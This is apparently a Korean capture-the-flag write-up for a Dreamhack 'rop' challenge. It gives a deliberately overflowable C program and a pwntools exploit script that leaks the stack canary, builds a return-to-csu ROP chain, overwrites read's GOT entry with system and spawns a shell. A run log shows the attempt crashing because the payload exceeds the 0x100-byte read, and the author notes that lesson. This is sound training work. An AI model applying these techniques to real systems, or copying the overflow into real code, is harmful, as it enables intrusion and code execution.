// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Leak canary
puts("[1] Leak Canary");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Do ROP
puts("[2] Input ROP payload");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
read로 0x100 바이트 크기의 입력을 받고 있어서 페이로드 길이도 최대 0x100 바이트 여야 합니다.
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
#p = remote("host2.dreamhack.games", 9986)
p = process("./rop")
e = ELF("./rop")
#context.log_level = 'debug'
# [1] 정보 수집
read_got = e.got["read"]
puts_got = e.got["puts"]
read_offset = 0x110140
system_offset = 0x04f550
csu_init1 = 0x4007ea
csu_init2 = 0x4007d0
bss = e.bss()
dummy = b'A'*8
# [2] Leak Canary
buf = b'A'*57
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
canary = u64(b'\x00'+p.recvn(7))
slog("Canary", canary)
# [3] Exploit
payload = b'A'*56 + p64(canary) + b'B'*8
# puts(read@got) => read 함수 실제 주소 leak
payload += p64(csu_init1)
payload += p64(0)
payload += p64(1)
payload += p64(puts_got)
payload += p64(read_got)
payload += p64(0)
payload += p64(0)
payload += p64(csu_init2)
# read(0, bss, 8) => BSS 영역에 "/bin/sh" 쓰기
payload += dummy
payload += p64(0)
payload += p64(1)
payload += p64(read_got)
payload += p64(0)
payload += p64(bss)
payload += p64(8)
payload += p64(csu_init2)
# read(0, read@got, 8) => read@got를 system으로 got overwrite
payload += dummy
payload += p64(0)
payload += p64(1)
payload += p64(read_got)
payload += p64(0)
payload += p64(read_got)
payload += p64(8)
payload += p64(csu_init2)
# read("/bin/sh") => system("/bin/sh")가 호출 됨
payload += dummy
payload += p64(0)
payload += p64(1)
payload += p64(read_got)
payload += p64(bss)
payload += p64(0)
payload += p64(0)
payload += p64(csu_init2)
# system 주소 구하기
p.sendafter("Buf: ", payload) # puts()와 read got를 이용해서 read() 주소 출력
read = u64(p.recvn(6)+b'\x00'*2) # 화면에 출력된 read() 주소를 read에 대입
lb = read - read_offset # libc base = read 주소 - read symbols
system = lb + system_offset # system = libc base + system symbolsi
slog("read", read)
slog("libc_base", lb)
slog("system", system)
slog("payload length", len(payload))
sleep(0.5)
pause()
p.send(b"/bin/sh\x00")
p.send(p64(system))
p.interactive()
하지만 Return to Csu 기법으로 익스플로잇 코드를 짜면 페이로드가 길어질 수 있다는 거를 몰라서
0x148 길이의 페이로드를 입력했고
kali@kali ~/wargame/dreamhack/rop python3 rtc.py
[+] Starting local process './rop': pid 9970
[*] '/home/kali/wargame/dreamhack/rop/rop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
/home/kali/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py:812: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
[+] Canary: 0xe74961496f8c0800
[+] read: 0x7fcd1cfa7550
[+] libc_base: 0x7fcd1ce97410
[+] system: 0x7fcd1cee6960
[+] payload length: 0x148
[*] Paused (press any to continue)
[*] Process './rop' stopped with exit code -11 (SIGSEGV) (pid 9970)
Traceback (most recent call last):
File "/home/kali/.local/lib/python3.10/site-packages/pwnlib/tubes/process.py", line 700, in send_raw
self.proc.stdin.flush()
BrokenPipeError: [Errno 32] Broken pipe
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "/home/kali/wargame/dreamhack/rop/rtc.py", line 101, in <module>
p.send(b"/bin/sh\x00")
File "/home/kali/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py", line 777, in send
self.send_raw(data)
File "/home/kali/.local/lib/python3.10/site-packages/pwnlib/tubes/process.py", line 702, in send_raw
raise EOFError
EOFError
Traceback (most recent call last):
File "/home/kali/.local/lib/python3.10/site-packages/pwnlib/tubes/process.py", line 746, in close
fd.close()
BrokenPipeError: [Errno 32] Broken pipe
그 결과 SIGSEGV, BrokenPipe Error가 발생하여 공격에 실패했습니다.
앞으로는 페이로드 짤 때 길이도 생각을 해야겠습니다.